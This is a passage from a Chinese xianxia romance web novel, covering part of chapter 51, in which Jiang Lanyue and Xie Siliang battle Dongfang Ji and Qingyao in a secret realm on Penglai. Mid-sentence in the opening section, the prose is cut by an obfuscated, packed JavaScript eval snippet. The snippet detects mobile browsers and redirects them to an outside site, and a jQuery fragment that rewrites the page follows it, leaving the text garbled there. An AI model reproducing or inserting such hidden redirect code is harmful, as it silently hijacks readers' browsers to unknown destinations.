姜揽月叹了一口气，这路不知道什么时候才能走到头。 粉色的雾气中浮现着无数座颠倒的城郭，时而唐风朱阁，时而高楼大厦。姜揽月的脚步顿了顿，这里怎么会有科技感如此强的高楼大厦？ 不愧是幻术大能，这里的幻象竟然能根据闯入者变化。 她伸出手搅动雾气，却见那楼阁忽然亮起灯火，周围传来了市井喧声，俄顷又碎作万点银光。 忽然，面前的景象又变化了，她看到儿时她救了一个小小少年。 她记得她儿时确实经常在太虚海救人，所以如果幻象中的场面是真的话，那么她和谢思量其实很早就相遇了。 那位小少年穿着王宫的华服，乌黑的头发散在耳边，像个白雪团子一样。由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410870|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于时间太久，光看那张脸她不能辨认出那是谢思量。但是那琉璃般的瞳孔，那没有丝毫情绪的眼神，都告诉姜揽月他就是谢思量。 脑海中蓦然响起谢思量之前说的那句话—— “不过或许我们也曾在其他地方擦肩而过，只是我们不知道。” 姜揽月微怔，这是真的吗？ 所以其实她和谢思量早早就相遇了，只是她不记得了。她眸光微动，若是这样的话，谢思量怎么会记得？他认出她了吗？他是怎么认出她的？ 不等她继续思考，画面又开始变化。 她看到了上一次的青云盛会，少年拿着观雪看她的模样。 接着，是她用鲛珠救了谢思量，和谢思量一起来到了昆仑。 随后，是她用刀对着谢思量。 知道后面会发生什么，姜揽月不忍心再看。 想来好笑，她对谢思量做了这种事情，她到底是以什么立场责怪谢思量无情道破了呢？ 谢思量怎么会喜欢上对自己拔刀相向的人？ 她到底在痴心妄想什么？ 她为什么要幻想谢思量喜欢她？ 想来谢思量应该无论喜欢谁都不会喜欢她吗？ “我只是为了摇光夫人那个位置。” “这只是一场交易。” “我喜欢的人根本不是你。” …… 当画面中的自己说出这些话时，姜揽月僵住了，她之前居然和谢思量说了这么多这种这样恶语相向。 她这般做，到底有什么资格要求谢思量，她有什么资格嫉妒那个人谢思量动心的人，她有什么资格对谢思量生气。 少女眼眶微红，乌黑的眼睫止不住的颤动。 她到底在痴心妄想些什么。 正当泪水即将决堤之时，一道灵力猛然破空而来。 就在这瞬间，姜揽月身上立马爆发一个剑咒。 大雾之中，她竟跌入了湖中。姜揽月猛然清醒，她万万没想到这里居然有个湖。 冰凉的湖水漫过耳际，鲛人特征不受控制地显现，她的耳朵正在逐渐变尖，双腿正在变成鱼尾。 当她浮出水面时，对岸已立着两道熟悉身影。 是东方霁和青瑶。 “姜姑娘，怎么在水里待了这么久啊？”一道男声传来。 "东方少主这是要趁人之危？"她甩开发间水珠，太华在月光下泛起莹白的光芒。 说来也奇怪，当她跌入湖中后，漫天的雾气竟然在渐渐散开，面前的景象逐渐变得清晰。 东方霁的刀尖挑起水花："摇光夫人竟是鲛人，与传言中的散修有所不同，这倒有趣，。" 姜揽月足尖轻点，又重新化作人形，站到了海面之上。 “二位，不会把我当对手吧？”姜揽月决定先卖一波惨，“我修为不高，二位可是要夺魁首的人，若是把我当对手也太看得起我了。” “没有把你当对手，”东方霁笑道，“我们只是想要你的鲛珠。” “你想要我的鲛珠？”姜揽月双眼微咪，“你修邪术？” “既然姜姑娘猜出来了，那我也没什么好遮掩的。” 东方霁手中的刀直直向姜揽月砍去，刀尖浮现黑色的雾气。 姜揽月指尖快速滑动，一道又一道的水箭攻向东方霁。同时脚下产生了道道冰棱，她站在冰棱之上，与东方霁拉开了距离。 蓦地，一道青色的咒文又向姜揽月飞来，青瑶出手了。 对方二人的实力都在姜揽月之上，她知道硬抗自己肯定会吃亏。 于是她决定赌一把。 “青瑶，你是更喜欢萧云决还是东方霁？”少女的声音的寂静中清晰可闻。 出乎意料，面前二人面色皆是一变。 好，赌对了。 姜揽月继续道：“萧云决应该不会要鲛人的鲛珠吧。” 这句话是根据她刚刚看到的幻象中推测出来的，萧云决既然能对受伤的青鸟出手相救，就证明他是一个善良的人。 果然，青瑶听到这句话后身子抑制不住地颤了一下。 “你怎么知道他的？” “你生于浮生秘境，难道还不了解这个秘境吗？”姜揽月笑道。 “告诉我，你是怎么知道他的？”青瑶的声音带着一丝颤抖。 “阿瑶，这里可能会出现其他选手，我们当务之急只拿下鲛珠。”东方霁道，“你不要被她这句话影响到，可能就是在欺骗你。” 他手中长刀微动，猛地朝姜揽月砍去。 姜揽月手中现出思君，剑光如虹，雪白的剑气向东方霁打去。 “我可不是在骗你们，不然我怎么会知道这个名字。” 话音刚落，一道更凛冽的剑气骤然划破夜空，漫天粉雾在此刻尽数消失。 一道颀长的身影出现在桃林尽头，霜雪般的剑意将满地落花激起三尺高。 51. 蓬莱仙岛（七） 蓬莱大殿中，水境波光粼粼，映照出秘境中弟子们的身影。诸位长老围坐四周，神色各异。 一位长老摸着自己的胡子道：“我这位小弟子还挺机灵，知道打不过要跑，跑的还挺快。” 另一位长老接道：“那还真是随了你，得到了你的亲传。当时对战那赤龙的时候，你是跑的最快的吧。” “哈哈哈哈哈哈哈哈哈那是自然，打不过不跑，难道还要硬抗吗？” “这个秘境中有的地方看不到吗？为什么看不到我的弟子？”一位穿着红袍的长老疑惑道。 蓬莱岛主听到了这句话，向前道：“这位秘境原来我派幻术大能历劫后留下的秘境，里面的幻象千变万化，很多地方甚至连我也不知道，所以确实存在留影石观测不到的地方。” 随后他顿了顿，瞥向水境：“不仅贵派弟子，小儿和本门的几位弟子现在也见不到踪影。” “何止？摇光夫人现在也见不到。”说话的那位长老意味深长地看了谢思量一眼。 随后，众人只见素来冷若冰霜的谢思量眉头微蹙，眼中闪过一丝异色。 “怎么了，摇光，担心夫人了？”那人调侃道。 谁知，谢思量竟蓦地转过身，淡淡的道了句：“秘境中有妖气。” 还未等其他几位长老反应过来，他的身影便已经在众人面前消失了。 又过了片刻，只见原来水境中的画面发生了变化。 刚刚不见的东方霁、青瑶和姜揽月，再加上谢思量，竟然都出现在了水境中。 一位长老震惊：“他怎么进去了？在场怎么还会有东方少主？” 他话音刚落，刚刚还在的蓬莱岛主和蓬莱夫人也不见了。 另一位长老皱眉：“我们也过去看看罢。” * 桃花漫天，无尽的粉红之下，一道雪白的身影蓦地站到了姜揽月身前，花瓣在他的身后扬起。 “你怎么进来了？姜揽月面露惊讶，按理说长老是不能进来的。 谢思量扶住了她的肩，将她上上下下检查了一遍，道：“我察觉到妖气，所以便进来了。” “妖气？”姜揽月明白了，应该是青瑶的缘故。 确定姜揽月没有受伤后，谢思量抬手将此处的法术禁咒抹去，让其他长老可以通过水境看到里面的景象。 和刚刚蓬莱岛主说的不同，水境看不到这里的景象不是因为幻象原因，而是由于这里被施着一道禁咒。 不用多想，便能知道这道禁咒出自谁手。 于此同时，另外二人在评估着当下的情况。 谢思量现在是长老，怎么会出现在这里？ 他出现在这里就说明其他长老可能也知道了。 东方霁内心一惊，若是这样的话，就证明他暴露了。 他不能暴露。 青瑶则眉头微蹙，她知道谢思量是个难缠的对手。谢思量来了，证明其他长老很快也会过来。而且，刚刚放在这里的禁咒也被破了，这里的所有景象都会被外界看到。 没有多加思考，她立即抬手将秘境封住。 一个谢思量已经够难缠了，现在不能再让其他长老进来。 东方霁看向青瑶，语气中满是嘲讽：“你不是说在这秘境中不会被发现吗？” 青瑶眼中滑过一丝惶然，面前的男人终不是萧云决，即使这张脸与萧云决生得一模一样。 萧云决不可能会这样与她说话。 萧云决也不会挖别人的金丹与鲛珠。 她冷笑道：“还不是因为你这么废需要邪术才能修炼。” “你……”东方霁张了张嘴，第一次听到青瑶这样对自己说话，却发现自己反驳不了。 青瑶没再理他，双手掐诀捏出一个符文。 只见天地间在一瞬间忽然变色，无数云层聚积在一起，又迅速散开，一道金光自青瑶所在之处传到上空，将夜空照亮。 穿着青色裙子的女子在瞬间破镜达到了化神，无数灵力在此汇聚，浩浩汤汤，如一条金线。 她在心中迅速做出了决断。 既然已经被发现，那么便只能拼尽全力了。 秘境中的其他弟子都看到了这一异象，有的弟子认出这代表着破镜，震惊于青云盛会怎么会出一位大能。 姜揽月抬眼见到此景，便明白青瑶一直在隐藏修为。 她想到传言中东方霁是蓬莱夺得魁首的热门人选，不由得有些好笑。殊不知他的能力是由于修习邪术，而青瑶的实力实则远在他之上。看来青瑶是真的很喜欢他啊，甘愿在他身后屈居第二。 “你这个蓬莱少主还要靠邪术才能修得元婴，你害臊吗？”姜揽月讽刺道。 东方霁冷笑：“那也是我的本事。” 随后他又道：“你的修为还是你道侣渡给你的呢。” 水境前的长老们听到这句话，心下一惊，表情都变得十分精彩，邪术？ 东方霁什么时候修邪术了？ 只是蓬莱岛主此刻已经前去了秘境现场，没有听到这句话，不知他若是知道自己引以为傲的儿子竟是邪修该做如何感想。 姜揽月正色：“没有这回事。” “谢思量给你渡修为你也才金丹。”东方霁依旧不依不饶。 “呵，你不仅靠修邪术才到元婴，还要青瑶帮你，还说自己是蓬莱第一？你又是怎么敢的？” 二人讥讽之际，谢思量身边已然形成一个剑阵，万千咒文附于剑之上，向青瑶和东方霁冲去。 青鸟双手结印，纷纷桃花在她面前化为屏障，将她和东方霁牢牢护住。 东方霁此时也闭了嘴，长刀直直指向姜揽月。 姜揽月指尖快速滑动，一首《破阵曲》泠然响起。 蓬莱长老此时已经来到了秘境外，但是却发现无法破开秘境上的屏障。 他皱了皱眉头，来者的实力远超他的想象。 秘境内，谢思量神色不变，剑气如疾风般扫荡，将桃花破开。 青瑶面色沉沉，身边青光闪烁，一道道咒文与剑气相撞，在黑夜中爆开白色与金色的光芒。 姜揽月的《破阵曲》此刻也演绎到了最高潮，琵琶轮指如暴雨倾泻，瀑布般的巨浪从天而降，猛地砸向面前二人。 青瑶脸色逐渐变得煞白。 姜揽月双眼微眯，见东方霁身子一抖，于是指尖立马形成一道水箭冲向向了东方霁。 东方霁实力本就不如青瑶，在谢思量的攻势之下，显得捉襟见肘。再加上姜揽月的一击，肩膀处渗出一片血色。他支撑不住，单膝跪倒了地上。 谢思量手腕转动，万千剑气如北风卷地，月满群山，视线所及之处满是粉红。 直到万千桃花化为粉末，青瑶在重击之下吐出了一口血。 但即使这样，谢思量手中的剑却还没有停止，伤害姜揽月的人，不应该存在于这个世上。 他的剑光冲向二人，地面炸开无数冰刺，伴随着白色的风雪，好似凛冬降临。 就在这时，秘境中却又多出了两道强劲的灵力，竟能将谢思量的灵气抵消。 姜揽月回眸，秘中的屏障不知何时已经被打开，来人正是蓬莱岛主和蓬莱夫人，两位元婴期的长老实力与谢思量不相上下。 “小儿糊涂，青姑娘也是蓬莱的弟子。二者都是 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众人商议之时，谢思量牵起姜揽月的手，轻声道：“走吧。” “嗯。” 姜揽月刚走了几步，忽然想起今日碰到的纸笺。 她拉住谢思量：“等一下，我还有个东西要给青姑娘。” 谢思量垂眉：“嗯。” 那边，仙盟长老看着刚刚断臂的二人：“两位，跟我去仙盟一趟吧。” 她饶有兴致的看着青瑶：“青姑娘，你在刚刚破镜到了化神，你是因为什么一直伪装成蓬莱弟子呢？” 青瑶咬了咬唇，没说话。 她的灵力在刚刚已经和谢思量姜揽月二人耗尽，又被谢思量断了一臂，此时已经没有余力反抗了。 二人跟在仙盟长老身后。 东方霁破罐子破摔，他知道自己的一切已经通过水境暴露了，嘲讽道：“不要再和我说你们游历江湖的事情了，我的天赋就是没有他高，我修邪术也不及他十分之一，你很失望吗？” 青瑶怔住，双眸溢出盈盈水光，说不出话来。 “还有，我的芙儿，是你杀的吗？”东方霁又道，眼中忽然滑过一丝愤恨。 芙儿是东方霁曾经未婚妻的小名，听到这句话后，青瑶好像被定出了，她站在那里，不知所措，不知东方霁为何会这样想。 这时，姜揽月走上前来。 “青瑶，这是你和萧云决的旧物。” 她将那泛黄的纸笺拿了出来，递给青瑶。 青瑶有些疑惑，却还是接过纸笺。她看到了上面稚嫩的笔迹，那是萧云决一笔一画教她写的。 原来她当时随手扔掉的纸笺，有人将其好好保存着。 “去年今日此门中，人面桃花相映红。人面不知何处去，桃花依旧笑春风。” 蓬莱还是这个蓬莱，甚至身边人那张脸还是她记忆中的脸，却已经不是记忆中的人了。 当她看完之后，那张纸笺便在她手中化为点点星光。数道星光中，她好像看到了曾经的萧云决正在对她笑。 青瑶闭了闭眼，一滴眼泪在她白净的脸颊滑过。 晚风袭袭，桃花漫漫。 众人面前，身着青色襦裙的女子竟化为了青鸟。一声啼鸣之后，青鸟变为了点点绿光，永远的消逝于这世间。 在场所有人，面上都是惊愣的表情，无不惊讶于这一奇景。 蓬山此去无多路，青鸟殷勤为探看。 在传说中，青鸟是为西王母传递音讯的信使。 可为王母传信的青鸟，终究没能等来她的归人。